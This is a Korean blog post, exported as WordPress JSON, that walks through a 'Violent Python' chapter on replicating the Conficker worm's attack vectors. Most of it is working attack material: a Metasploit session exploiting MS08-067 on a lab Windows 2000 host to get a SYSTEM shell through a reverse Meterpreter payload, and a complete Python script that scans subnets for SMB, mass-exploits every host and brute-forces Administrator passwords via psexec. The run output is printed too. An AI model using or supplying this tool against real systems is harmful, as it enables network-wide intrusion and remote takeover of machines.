{"id":3831,"date":"2013-08-05T17:27:41","date_gmt":"2013-08-05T08:27:41","guid":{"rendered":"http:\/\/apollo89.com\/wordpress\/?p=3831"},"modified":"2013-09-13T08:37:46","modified_gmt":"2013-09-12T23:37:46","slug":"%ed%95%b4%ec%bb%a4%ec%9d%98-%ec%96%b8%ec%96%b4-%ec%b9%98%eb%aa%85%ec%a0%81-%ed%8c%8c%ec%9d%b4%ec%8d%ac-chapter-2-%ec%b9%a8%ed%88%ac-%ed%85%8c%ec%8a%a4%ed%8a%b8-%ec%bb%a8%ed%94%bc%ec%bb%a4","status":"publish","type":"post","link":"https:\/\/apollo89.com\/wordpress\/?p=3831","title":{"rendered":"\ud574\ucee4\uc758 \uc5b8\uc5b4, \uce58\uba85\uc801 \ud30c\uc774\uc36c – CHAPTER 2 \uce68\ud22c \ud14c\uc2a4\ud2b8 – \ucee8\ud53c\ucee4 \ub178\ub825\ud558\uba74 \ub41c\ub2e4"},"content":{"rendered":"

 <\/p>\n

Notice : \ud574\ub2f9 \uc790\ub8cc\uac00 \uc800\uc791\uad8c\ub4f1\uc5d0 \uc758\ud574\uc11c \ubb38\uc81c\uac00 \uc788\ub2e4\uba74 \ubc14\ub85c \uc0ad\uc81c\ud558\uaca0\uc2b5\ub2c8\ub2e4.
\n\uc5f0\uad6c\ubaa9\uc801\uc73c\ub85c \uc0ac\uc6a9\ud558\uc9c0 \uc54a\uace0 \uc545\uc758\uc801\uc778 \ubaa9\uc801\uc73c\ub85c \uc774\uc6a9\ud560 \uacbd\uc6b0 \ubc1c\uc0dd\ud560 \uc218 \uc788\ub294 \ubc95\uc801\uc740 \ucc45\uc784\uc740 \ubaa8\ub450 \ubcf8\uc778\uc5d0\uac8c \uc788\uc2b5\ub2c8\ub2e4.
\n<\/strong><\/p>\n

\"VIOLENT_PYTHON_S\"<\/a>
\n[\uad6c\ub9e4\ud558\uae30]<\/a><\/p>\n

\ud574\ucee4\uc758 \uc5b8\uc5b4, \uce58\uba85\uc801 \ud30c\uc774\uc36c – CHAPTER 1 \uc18c\uac1c<\/a>
\n\ud574\ucee4\uc758 \uc5b8\uc5b4, \uce58\uba85\uc801 \ud30c\uc774\uc36c – CHAPTER 2 \uce68\ud22c \ud14c\uc2a4\ud2b8 – \ud3ec\ud2b8 \uc2a4\uce90\ub108 \ub9cc\ub4e4\uae30<\/a>
\n\ud574\ucee4\uc758 \uc5b8\uc5b4, \uce58\uba85\uc801 \ud30c\uc774\uc36c – CHAPTER 2 \uce68\ud22c \ud14c\uc2a4\ud2b8 – SSH \ubd07\ub137 \uad6c\ucd95\ud558\uae30<\/a>
\n\ud574\ucee4\uc758 \uc5b8\uc5b4, \uce58\uba85\uc801 \ud30c\uc774\uc36c – CHAPTER 2 \uce68\ud22c \ud14c\uc2a4\ud2b8 – FTP\uc640 \uc6f9\uc744 \uc774\uc6a9\ud55c \ub300\uaddc\ubaa8 \uacf5\uaca9<\/a>
\n\ud574\ucee4\uc758 \uc5b8\uc5b4, \uce58\uba85\uc801 \ud30c\uc774\uc36c – CHAPTER 2 \uce68\ud22c \ud14c\uc2a4\ud2b8 – \ucee8\ud53c\ucee4 \ub178\ub825\ud558\uba74 \ub41c\ub2e4<\/a><\/p>\n

2.5 \ucee8\ud53c\ucee4, \ub178\ub825\ud558\uba74 \ub41c\ub2e4
\n\ucee8\ud53c\ucee4 – http:\/\/blog.naver.com\/younjun2000?Redirect=Log&logNo=150046319543<\/a>
\n– \ucee8\ud53c\ucee4 \ub610\ub294 W32DownadUp \uc774\ub77c \ubd88\ub9ac\ub294 \uc6dc\uc740 200\uc5ec\uac1c\uad6d\uc5d0 5\ubc31\ub9cc\ub300\uc758 \ucef4\ud4e8\ud130\ub97c \uac10\uc5fc
\n– \ucee8\ud53c\ucee4\uc758 \ud575\uc2ec\uc740 \ubaa8\ub9ac\uc2a4\uc6dc\uc774 \uc0ac\uc6a9\ud588\ub358 \uacf5\uaca9 \ubc31\ud130\uc640 \uc720\uc0ac\ud55c \uae30\ubc95\uc774 \uc0ac\uc6a9(\ub450\uac1c\uc758 \ubc31\ud130\ub97c \uc774\uc6a9)
\n 1.\uc708\ub3c4\uc6b0 \uc11c\ubc84\uc758 \uc81c\ub85c\ub370\uc774 \ucde8\uc57d\uc810(\uc2a4\ud14d\uc744 \ubcc0\uc870\ud558\uc5ec \uc258\ucf54\ub4dc\ub97c \uc2e4\ud589\ud558\uace0, \uac10\uc5fc\ub41c \ud638\uc2a4\ud2b8\uc5d0 \uc790\uc2e0\uc758 \ubcf5\uc0ac\ubcf8\uc744 \ub2e4\uc6b4\ub85c\ub4dc)
\n 2.\ub514\ud3f4\ud2b8 \uad00\ub9ac\uc790 \ub124\ud06c\uc6cc\ud06c \uacf5\uc720(ADMIN$) \uacc4\uc815\uc5d0 \ubb34\ucc28\ubcc4 \ub300\uc785\uacf5\uaca9<\/p>\n

2.5.1 \uba54\ud0c0\uc2a4\ud50c\ub85c\uc787\uc73c\ub85c \uc708\ub3c4\uc6b0 SMB \uc11c\ube44\uc2a4 \uacf5\uaca9\ud558\uae30
\n– ms08_067_netapi \uc774\uc6a9<\/p>\n

root@bt:~# msfconsole\r\n...\r\n       =[ metasploit v4.5.0-dev [core:4.5 api:1.0]\r\n+ -- --=[ 927 exploits - 499 auxiliary - 151 post\r\n+ -- --=[ 251 payloads - 28 encoders - 8 nops\r\n\r\nmsf > use exploit\/windows\/smb\/ms08_067_netapi\r\nmsf  exploit(ms08_067_netapi) > set RHOST 192.168.110.129\r\nRHOST => 192.168.110.129\r\nmsf  exploit(ms08_067_netapi) > set PAYLOAD windows\/meterpreter\/reverse_tcp\r\nPAYLOAD => windows\/meterpreter\/reverse_tcp\r\nmsf  exploit(ms08_067_netapi) > set LHOST 192.168.110.133\r\nLHOST => 192.168.110.133\r\nmsf  exploit(ms08_067_netapi) > set LPORT 7777\r\nLPORT => 7777\r\nmsf  exploit(ms08_067_netapi) > exploit -j -z\r\n[*] Exploit running as background job.\r\n\r\n[*] Started reverse handler on 192.168.110.133:7777 \r\nmsf  exploit(ms08_067_netapi) > \r\n[*] Automatically detecting the target...\r\n[*] Fingerprint: Windows 2000 - Service Pack 0 - 4 - lang:Korean\r\n[*] Selected Target: Windows 2000 Universal\r\n[*] Attempting to trigger the vulnerability...\r\n[*] Sending stage (752128 bytes) to 192.168.110.129\r\n[*] Meterpreter session 1 opened (192.168.110.133:7777 -> 192.168.110.129:1157) at 2013-08-21 15:10:36 +0900\r\n\r\nmsf  exploit(ms08_067_netapi) > sessions\r\n\r\nActive sessions\r\n===============\r\n  Id  Type                   Information                Connection\r\n  --  ----                   -----------                ----------\r\n  1   meterpreter x86\/win32  NT AUTHORITY\\SYSTEM @ SDS  192.168.110.133:7777 -> 192.168.110.129:1157 (192.168.110.129)\r\n\r\nmsf  exploit(ms08_067_netapi) > sessions -i 1\r\n[*] Starting interaction with 1...\r\n\r\nmeterpreter > \r\nmeterpreter > execute -i -f cmd.exe\r\nProcess 2364 created.\r\nChannel 1 created.\r\nMicrosoft Windows 2000 [Version 5.00.2195]\r\n(C) Copyright 1985-2000 Microsoft Corp.\r\n\r\nC:\\WINNT\\system32>\r\n\r\nC:\\WINNT\\system32>ipconfig\r\nipconfig\r\n\r\nWindows 2000 IP Configuration\r\n\r\nEthernet adapter ???? ???? ???? 2:\r\n\tConnection-specific DNS Suffix  . : localdomain\r\n\tIP Address. . . . . . . . . . . . : 192.168.110.129\r\n\tSubnet Mask . . . . . . . . . . . : 255.255.255.0\r\n\tDefault Gateway . . . . . . . . . : 192.168.110.2\r\n\r\nC:\\WINNT\\system32><\/pre>\n
2.5.2 \uba54\ud0c0\uc2a4\ud50c\ub85c\uc787\uacfc \ud30c\uc774\uc36c \uc5f0\ub3d9\ud558\uae30
\n– \uc5ec\ub7ec\ub300\uc758 \uc11c\ubc84\ub97c \uc9c4\ud589\uc2dc \uc218\ub3d9\uc73c\ub85c \ud558\uae30 \ud798\ub4dc\ubbc0\ub85c \ud30c\uc774\uc36c\uc73c\ub85c \uc791\uc131
\n  1. SMB \ud504\ub85c\ud1a0\ucf5c(TCP 445) \ud3ec\ud2b8\uac00 \uc5f4\ub824\uc788\ub294\uc9c0 \uc2a4\uce90\ub2dd(nmap-python \uc0ac\uc6a9)
\n  2. \uba54\ud0c0\uc2a4\ud50c\ub85c\uc787 resource \ud30c\uc77c\uc744 \ub9cc\ub4e4\uc5b4\uc11c \ucde8\uc57d\ud55c \ud638\uc2a4\ud2b8\ub97c \uacf5\uaca9
\n  3. \uba54\ud0c0\uc2a4\ud50c\ub85c\uc787\uc758 \ub2e4\uc774\ub098\ubbf9 \ud398\uc774\ub85c\ub4dc\uc778 \ubbf8\ud130\ud504\ub9ac\ud130(Meterpreter)\ub97c \uc0ac\uc6a9
\n  4. multi\/handler \ub9ac\uc2a4\ub108 \uc124\uc815… \ubb34\uc2a8 \uc18c\ub9b0\uc9c0 \uc798\ubaa8\ub974\uaca0\uc74c..\u3160
\n  5. \ub9c8\uc9c0\ub9c9\uc73c\ub85c exploit -j(\uc791\uc5c5\uc758 \ucee8\ud0dd\uc2a4\ud2b8\uc5d0\uc11c) -z(\uc791\uc5c5\uacfc \uc989\uc2dc \uc0c1\ud638\uc18c\ud1b5\ud558\uc9c0 \ub9d0\uace0) \uc73c\ub85c \uacf5\uaca9\uc9c0\uc2dc<\/p>\n
2.5.3 \uc6d0\uaca9 \ud504\ub85c\uc138\uc2a4 \uc2e4\ud589 \uacf5\uaca9\ud558\uae30
\n– SMB \uc758 \uc0ac\uc6a9\uc790 \uc774\ub984\/\ud328\uc2a4\uc6cc\ub4dc \uc870\ud569\uc744 \ub9c8\ucc28\ubcc4 \ub300\uc785 \uacf5\uaca9 \ud558\ub3c4\ub85d smbBrute \ud568\uc218 \uc791\uc131
\n– smbBrute \ud568\uc218\ub294 \uac01 \ud398\uc2a4\uc6cc\ub4dc \ub9c8\ub2e4 \uba54\ud0c0\uc2a4\ud50c\ub85c\uc787 \uc124\uc815\ud30c\uc77c\uc744 \ub9cc\ub4e4\uc5b4\uc11c \uacf5\uaca9<\/p>\n
2.5.4 \ucee8\ud53c\ucee4 \ucd5c\uc885 \ucf54\ub4dc \ud1b5\ud569\ud558\uae30<\/p>\n
#!\/usr\/bin\/python\r\n# -*- coding: utf-8 -*-\r\nimport os\r\nimport optparse\r\nimport sys\r\nimport nmap\r\n\r\ndef findTgts(subNet):\r\n    nmScan = nmap.PortScanner()\r\n    nmScan.scan(subNet, '445')\r\n    tgtHosts = []\r\n    for host in nmScan.all_hosts():\r\n        if nmScan[host].has_tcp(445):\r\n            state = nmScan[host]['tcp'][445]['state']\r\n            if state == 'open':\r\n                print '[+] Found Target Host: ' + host\r\n                tgtHosts.append(host)\r\n    return tgtHosts\r\n\r\ndef setupHandler(configFile, lhost, lport):\r\n    configFile.write('use exploit\/multi\/handler\\n')\r\n    configFile.write('set payload windows\/meterpreter\/reverse_tcp\\n')\r\n    configFile.write('set LPORT ' + str(lport) + '\\n')\r\n    configFile.write('set LHOST ' + lhost + '\\n')\r\n    configFile.write('exploit -j -z\\n')\r\n    configFile.write('setg DisablePayloadHandler 1\\n')\r\n\r\ndef confickerExploit(configFile,tgtHost,lhost,lport):\r\n    configFile.write('use exploit\/windows\/smb\/ms08_067_netapi\\n')\r\n    configFile.write('set RHOST ' + str(tgtHost) + '\\n')\r\n    configFile.write('set payload windows\/meterpreter\/reverse_tcp\\n')\r\n    configFile.write('set LPORT ' + str(lport) + '\\n')\r\n    configFile.write('set LHOST ' + lhost + '\\n')\r\n    configFile.write('exploit -j -z\\n')\r\n\r\n\r\ndef smbBrute(configFile,tgtHost,passwdFile,lhost,lport):\r\n    username = 'Administrator'\r\n    pF = open(passwdFile, 'r')\r\n    for password in pF.readlines():\r\n        password = password.strip('\\n').strip('\\r')\r\n        configFile.write('use exploit\/windows\/smb\/psexec\\n')\r\n        configFile.write('set SMBUser ' + str(username) + '\\n')\r\n        configFile.write('set SMBPass ' + str(password) + '\\n')\r\n        configFile.write('set RHOST ' + str(tgtHost) + '\\n')\r\n        configFile.write('set payload windows\/meterpreter\/reverse_tcp\\n')\r\n        configFile.write('set LPORT ' + str(lport) + '\\n')\r\n        configFile.write('set LHOST ' + lhost + '\\n')\r\n        configFile.write('exploit -j -z\\n')\r\n\r\ndef main():\r\n    configFile = open('meta.rc', 'w')\r\n\r\n    parser = optparse.OptionParser('[-] Usage %prog -H <RHOST[s]> -l <LHOST> [-p <LPORT> -F <Password File>]')\r\n    parser.add_option('-H', dest='tgtHost', type='string', help='specify the target address[es]')\r\n    parser.add_option('-p', dest='lport', type='string', help='specify the listen port')\r\n    parser.add_option('-l', dest='lhost', type='string', help='specify the listen address')\r\n    parser.add_option('-F', dest='passwdFile', type='string', help='password file for SMB brute force attempt')\r\n\r\n    (options, args) = parser.parse_args()\r\n\r\n    if (options.tgtHost == None) | (options.lhost == None):\r\n        print parser.usage\r\n        exit(0)\r\n\r\n    lhost = options.lhost\r\n    lport = options.lport\r\n    if lport == None:\r\n        lport = '1337'\r\n    passwdFile = options.passwdFile\r\n    tgtHosts = findTgts(options.tgtHost)\r\n\r\n    setupHandler(configFile, lhost, lport)\r\n\r\n    for tgtHost in tgtHosts:\r\n        confickerExploit(configFile, tgtHost, lhost, lport)\r\n        if passwdFile != None:\r\n            smbBrute(configFile,tgtHost,passwdFile,lhost,lport)\r\n\r\n    configFile.close()\r\n    os.system('msfconsole -r meta.rc')\r\n\r\nif __name__ == '__main__':\r\n    main()\r\n<\/pre>\n
\uc2e4\ud589\uacb0\uacfc<\/p>\n
# python conficker.py -H 192.168.110.129 -l 192.168.110.133 -p 7777 -F userpass.txt \r\n[+] Found Target Host: 192.168.110.129\r\n...\r\n       =[ metasploit v4.5.0-dev [core:4.5 api:1.0]\r\n+ -- --=[ 927 exploits - 499 auxiliary - 151 post\r\n+ -- --=[ 251 payloads - 28 encoders - 8 nops\r\n\r\n[*] Processing meta.rc for ERB directives.\r\nresource (meta.rc)> use exploit\/multi\/handler\r\nresource (meta.rc)> set payload windows\/meterpreter\/reverse_tcp\r\npayload => windows\/meterpreter\/reverse_tcp\r\nresource (meta.rc)> set LPORT 7777\r\nLPORT => 7777\r\nresource (meta.rc)> set LHOST 192.168.110.133\r\nLHOST => 192.168.110.133\r\nresource (meta.rc)> exploit -j -z\r\n[*] Exploit running as background job.\r\nresource (meta.rc)> setg DisablePayloadHandler 1\r\nDisablePayloadHandler => 1\r\nresource (meta.rc)> use exploit\/windows\/smb\/ms08_067_netapi\r\n[*] Started reverse handler on 192.168.110.133:7777 \r\n[*] Starting the payload handler...\r\nresource (meta.rc)> set RHOST 192.168.110.129\r\nRHOST => 192.168.110.129\r\nresource (meta.rc)> set payload windows\/meterpreter\/reverse_tcp\r\npayload => windows\/meterpreter\/reverse_tcp\r\nresource (meta.rc)> set LPORT 7777\r\nLPORT => 7777\r\nresource (meta.rc)> set LHOST 192.168.110.133\r\nLHOST => 192.168.110.133\r\nresource (meta.rc)> exploit -j -z\r\n[*] Exploit running as background job.\r\nresource (meta.rc)> use exploit\/windows\/smb\/psexec\r\nresource (meta.rc)> set SMBUser Administrator\r\nSMBUser => Administrator\r\nresource (meta.rc)> set SMBPass administrator:password\r\nSMBPass => administrator:password\r\nresource (meta.rc)> set RHOST 192.168.110.129\r\nRHOST => 192.168.110.129\r\nresource (meta.rc)> set payload windows\/meterpreter\/reverse_tcp\r\npayload => windows\/meterpreter\/reverse_tcp\r\nresource (meta.rc)> set LPORT 7777\r\nLPORT => 7777\r\nresource (meta.rc)> set LHOST 192.168.110.133\r\nLHOST => 192.168.110.133\r\nresource (meta.rc)> exploit -j -z\r\n[*] Automatically detecting the target...\r\n[*] Exploit running as background job.\r\nresource (meta.rc)> use exploit\/windows\/smb\/psexec\r\nresource (meta.rc)> set SMBUser Administrator\r\n[*] Connecting to the server...\r\nSMBUser => Administrator\r\nresource (meta.rc)> set SMBPass admin:12345\r\n[*] Authenticating to 192.168.110.129:445|WORKGROUP as user 'Administrator'...\r\nSMBPass => admin:12345\r\nresource (meta.rc)> set RHOST 192.168.110.129\r\nRHOST => 192.168.110.129\r\nresource (meta.rc)> set payload windows\/meterpreter\/reverse_tcp\r\npayload => windows\/meterpreter\/reverse_tcp\r\nresource (meta.rc)> set LPORT 7777\r\nLPORT => 7777\r\nresource (meta.rc)> set LHOST 192.168.110.133\r\nLHOST => 192.168.110.133\r\nresource (meta.rc)> exploit -j -z\r\n[-] Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::LoginError Login Failed: The server responded with error: STATUS_LOGON_FAILURE (Command=115 WordCount=0)\r\n[*] Exploit running as background job.\r\nresource (meta.rc)> use exploit\/windows\/smb\/psexec\r\nresource (meta.rc)> set SMBUser Administrator\r\nSMBUser => Administrator\r\nresource (meta.rc)> set SMBPass root:secret\r\n[*] Connecting to the server...\r\nSMBPass => root:secret\r\nresource (meta.rc)> set RHOST 192.168.110.129\r\n[*] Authenticating to 192.168.110.129:445|WORKGROUP as user 'Administrator'...\r\nRHOST => 192.168.110.129\r\nresource (meta.rc)> set payload windows\/meterpreter\/reverse_tcp\r\npayload => windows\/meterpreter\/reverse_tcp\r\nresource (meta.rc)> set LPORT 7777\r\nLPORT => 7777\r\nresource (meta.rc)> set LHOST 192.168.110.133\r\nLHOST => 192.168.110.133\r\nresource (meta.rc)> exploit -j -z\r\n[-] Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::LoginError Login Failed: The server responded with error: STATUS_LOGON_FAILURE (Command=115 WordCount=0)\r\n[*] Exploit running as background job.\r\nresource (meta.rc)> use exploit\/windows\/smb\/psexec\r\nresource (meta.rc)> set SMBUser Administrator\r\n[*] Connecting to the server...\r\nSMBUser => Administrator\r\nresource (meta.rc)> set SMBPass guest:guest\r\n[*] Fingerprint: Windows 2000 - Service Pack 0 - 4 - lang:Korean\r\n[*] Selected Target: Windows 2000 Universal\r\n[*] Authenticating to 192.168.110.129:445|WORKGROUP as user 'Administrator'...\r\nSMBPass => guest:guest\r\nresource (meta.rc)> set RHOST 192.168.110.129\r\nRHOST => 192.168.110.129\r\nresource (meta.rc)> set payload windows\/meterpreter\/reverse_tcp\r\npayload => windows\/meterpreter\/reverse_tcp\r\nresource (meta.rc)> set LPORT 7777\r\nLPORT => 7777\r\nresource (meta.rc)> set LHOST 192.168.110.133\r\nLHOST => 192.168.110.133\r\nresource (meta.rc)> exploit -j -z\r\n[-] Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::LoginError Login Failed: The server responded with error: STATUS_LOGON_FAILURE (Command=115 WordCount=0)\r\n[*] Exploit running as background job.\r\nresource (meta.rc)> use exploit\/windows\/smb\/psexec\r\n[*] Attempting to trigger the vulnerability...\r\nresource (meta.rc)> set SMBUser Administrator\r\n[*] Connecting to the server...\r\nSMBUser => Administrator\r\nresource (meta.rc)> set SMBPass root:toor\r\n[*] Authenticating to 192.168.110.129:445|WORKGROUP as user 'Administrator'...\r\nSMBPass => root:toor\r\nresource (meta.rc)> set RHOST 192.168.110.129\r\nRHOST => 192.168.110.129\r\nresource (meta.rc)> set payload windows\/meterpreter\/reverse_tcp\r\npayload => windows\/meterpreter\/reverse_tcp\r\nresource (meta.rc)> set LPORT 7777\r\nLPORT => 7777\r\nresource (meta.rc)> set LHOST 192.168.110.133\r\n[*] Sending stage (752128 bytes) to 192.168.110.129\r\nLHOST => 192.168.110.133\r\nresource (meta.rc)> exploit -j -z\r\n[-] Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::LoginError Login Failed: The server responded with error: STATUS_LOGON_FAILURE (Command=115 WordCount=0)\r\n[*] Exploit running as background job.\r\n\r\n[*] Connecting to the server...\r\n[*] Authenticating to 192.168.110.129:445|WORKGROUP as user 'Administrator'...\r\nmsf  exploit(psexec) > [-] Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::LoginError Login Failed: The server responded with error: STATUS_LOGON_FAILURE (Command=115 WordCount=0)\r\n[*] Meterpreter session 1 opened (192.168.110.133:7777 -> 192.168.110.129:1184) at 2013-08-21 17:14:36 +0900<\/pre>\n
 <\/p>\n","protected":false},"excerpt":{"rendered":"
  Notice : \ud574\ub2f9 \uc790\ub8cc\uac00 \uc800\uc791\uad8c\ub4f1\uc5d0 \uc758\ud574\uc11c \ubb38\uc81c\uac00 \uc788\ub2e4\uba74 \ubc14\ub85c \uc0ad\uc81c\ud558\uaca0\uc2b5\ub2c8\ub2e4. \uc5f0\uad6c\ubaa9\uc801\uc73c\ub85c \uc0ac\uc6a9\ud558\uc9c0 \uc54a\uace0 \uc545\uc758\uc801\uc778 \ubaa9\uc801\uc73c\ub85c \uc774\uc6a9\ud560 \uacbd\uc6b0 \ubc1c\uc0dd\ud560 \uc218 \uc788\ub294 \ubc95\uc801\uc740 \ucc45\uc784\uc740 \ubaa8\ub450 \ubcf8\uc778\uc5d0\uac8c \uc788\uc2b5\ub2c8\ub2e4. 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